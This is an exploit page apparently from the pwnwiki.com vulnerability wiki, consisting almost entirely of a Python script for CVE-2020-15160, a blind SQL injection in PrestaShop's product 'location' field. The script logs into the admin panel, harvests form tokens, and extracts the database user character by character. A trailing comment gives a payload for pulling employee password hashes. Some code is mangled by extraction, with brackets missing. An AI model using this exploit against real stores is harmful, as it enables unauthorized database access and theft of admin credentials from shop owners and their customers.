免费、自由、人人可编辑的漏洞库--pwnwiki.com
,
EXP
# Exploit Title: PrestaShop 1.7.6.7 - 'location' Blind Sql Injection # Date: 2021-04-08 # Exploit Author: Vanshal Gaur # Vendor Homepage: https://www.prestashop.com/ # Version: 1.7.5.x < 1.7.6.8 # Tested on: Debian 10 (buster) # CVE : CVE-2020-15160 #!/usr/bin/python3 ''' Setup Vulnerable Docker on "localhost:8080": docker network create prestashop-net docker run -ti --name mysql_z --network prestashop-net -e MYSQL_ROOT_PASSWORD=admin -p 3307:3306 -d mysql:5.7 docker run -ti --name prestashop_z --network prestashop-net -e DB_SERVER=mysql_z -p 8080:80 -d prestashop/prestashop:1.7.6.7 ''' import requests import sys from lxml import html import re if len(sys.argv) != 7: print( ''' Exploit By: Vanshal Gaur Twitter Handle: @Vanshalg Exploit: CVE-2020-15160 PrestaShop blind Sql Injection 1.7.5.0 < 1.7.6.8 Before Running the script make sure to login and change "Combinations" to "Simple product" of the product and give that productid. Script will retrive the output of user() function, edit payload in script to retrive other data (Tested With Prestashop 1.7.6.7) Usage: python3 {} email password localhost 8080 productid /adminpath python3 exploit.py "email protected" "password" localhost 8080 11 /admin123 '''.format(sys.argv0) ) sys.exit(1) print("Exploiting...(Be Patient)\n") email = sys.argv1 password = sys.argv2 target_host = sys.argv3 target_port = sys.argv4 product_id = sys.argv5 admin_path = sys.argv6 target = "http://"+target_host+":"+target_port # proxies = {"http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081"} s = requests.Session() def login(s,target,password,email,admin_path): url = target+admin_path+"/index.php" data = {"ajax": "1", "token": '', "controller": "AdminLogin", "submitLogin": "1", "passwd": "TEMP", "email": "email protected"} data"passwd" = password data"email" = email r = s.post(url, data=data) login(s,target,password,email,admin_path) token_ext = s.get(target+admin_path+"/") token_junk = re.findall("sell/catalog/pro.*_token\=.*",token_ext.text) token_spit = re.split("\"",token_junk0) token_2 = re.split("\?",token_spit0) token = token_21 def productDetails_formtoken(s,target,product_id,admin_path): headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} q = s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers) tree = html.fromstring(q.text) output = tree.xpath("//inputcontains(@name,'form_token')/@value") form_token = ''.join(output) return form_token form_token = productDetails_formtoken(s,target,product_id,admin_path) def productDetails_form_location(s,target,token,product_id,admin_path): headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} q = s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers) tree = html.fromstring(q.text) output = tree.xpath("//inputcontains(@name,'formstep3location')/@value") form_location = ''.join(output) return form_location def sqli(s,token,form_token,payload,target,product_id,admin_path): for j in range(32, 126): sql_payload = payload.replace("CHAR", str(j)) url = target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"} data = {"formstep1name1": "Blind Sql Injection @Vanshalg", "formstep1type_product": "0", "formstep1description_short1": "<p><span style=\"font-size:10pt;font-style:normal;\">Regular fit, round neckline, short sleeves. Made of extra long staple pima cotton. </span></p>\r\n<p></p>", "formstep1description1": "<p><span style=\"font-size:10pt;font-style:normal;\"><span style=\"font-size:10pt;font-style:normal;\">Symbol of lightness and delicacy, the hummingbird evokes curiosity and joy.</span><span style=\"font-size:10pt;font-style:normal;\"> Studio Design' PolyFaune collection features classic products with colorful patterns, inspired by the traditional japanese origamis. To wear with a chino or jeans. The sublimation textile printing process provides an exceptional color rendering and a color, guaranteed overtime.</span></span></p>", "formstep1features0feature": "1", "formstep1features0value": "4", "formstep1features0custom_value1": '', "formstep1features1feature": "2", "formstep1features1value": "8", "formstep1features1custom_value1": '', "formstep1id_manufacturer": "1", "show_variations": "0", "formstep6reference": "demo_1", "formstep1qty_0_shortcut": "0", "formstep1price_shortcut": "23.900000", "formstep1price_ttc_shortcut": "23.9", "formstep2id_tax_rules_group": "1", "formstep1id_category_default": "4", "formstep1categoriestree": "2", "formstep1categoriestree": "3", "formstep1categoriestree": "4", "ignore": "4", "formstep1new_categoryname": '', "formstep1new_categoryid_parent": "2", "formstep3qty_0": "0", "formstep3minimal_quantity": "1", "formstep3location": "TEST", "formstep3low_stock_threshold": '', "formstep3virtual_productis_virtual_file": "0", "formstep3virtual_productname": '', "formstep3virtual_productnb_downloadable": '', "formstep3virtual_productexpiration_date": '', "formstep3virtual_productnb_days": "0", "formstep3pack_stock_type": "3", "formstep3attributes": '', "product_combination_bulkquantity": '', "product_combination_bulkcost_price": '', "product_combination_bulkimpact_on_weight": '', "product_combination_bulkimpact_on_price_te": '', "product_combination_bulkimpact_on_price_ti": '', "product_combination_bulkdate_availability": '', "product_combination_bulkreference": '', "product_combination_bulkminimal_quantity": '', "product_combination_bulklow_stock_threshold": '', "product_combination_bulk_token": "0Dj8tJ3zd6YfSNgyxRFe6CfNbuMac6mn8rm_Gd52-to", "formstep3out_of_stock": "2", "formstep3available_now1": '', "formstep3available_later1": '', "formstep3available_date": '', "formstep4width": "0", "formstep4height": "0", "formstep4depth": "0", "formstep4weight": "0", "formstep4additional_delivery_times": "1", "formstep4delivery_in_stock1": '', "formstep4delivery_out_stock1": '', "formstep4additional_shipping_cost": "0.000000", "formstep2price": "23.900000", "formstep2price_ttc": "23.9", "formstep2unit_price": "0.000000", "formstep2unity": '', "formstep2ecotax": "0.000000", "formstep2id_tax_rules_group": "1", "formstep2wholesale_price": "0.000000", "formstep2specific_pricesp_id_shop": "1", "formstep2specific_pricesp_id_currency": '', "formstep2specific_pricesp_id_country": '', "formstep2specific_pricesp_id_group": '', "formstep2specific_pricesp_id_product_attribute": '', "formstep2specific_pricesp_from": '', "formstep2specific_pricesp_to": '', "formstep2specific_pricesp_from_quantity": "1", "formstep2specific_priceleave_bprice": "1", "formstep2specific_pricesp_reduction": "0.000000", "formstep2specific_pricesp_reduction_type": "amount", "formstep2specific_pricesp_reduction_tax": "1", "formstep2specificPricePriority_0": "id_shop", "formstep2specificPricePriority_1": "id_currency", "formstep2specificPricePriority_2": "id_country", "formstep2specificPricePriority_3": "id_group", "formstep5meta_title1": '', "formstep5meta_description1": '', "formstep5link_rewrite1": "hummingbird-printed-t-shirt", "formstep5redirect_type": "301-category", "formstep6visibility": "both", "formstep6display_optionsavailable_for_order": "1", "formstep6display_optionsshow_price": "1", "formstep6tags1": '', "formstep6condition": "new", "formstep6isbn": '', "formstep6ean13": '', "formstep6upc": '', "formstep6attachment_productname": '', "formstep6attachment_productdescription": '', "formid_product": "1", "form_token": "4KtBNSbjc--GLbsVr__-wqC5Qw2hQKDXh6zb8vWKBwA", "formstep1active": "1"} data"form_token" = form_token data"formstep3location" = sql_payload data"formid_product" = product_id # print(sql_payload) r = s.post(url, headers=headers, data=data) if(productDetails_form_location(s,target,token,product_id,admin_path) == "1"): return j return None for i in range(1,41): payload = "0'|(ascii(substr(user(),%d,1)) regexp CHAR)#" % i extracted_char = chr(sqli(s,token,form_token,payload,target,product_id,admin_path)) sys.stdout.write(extracted_char) sys.stdout.flush() print("\n(+) done!") #PAYLOAD TO EXTRACT PASSWORD: # payload: 0'|ascii((substr((select passwd from ps_employee),1,1)) regexp CHAR#)
pwnwiki.com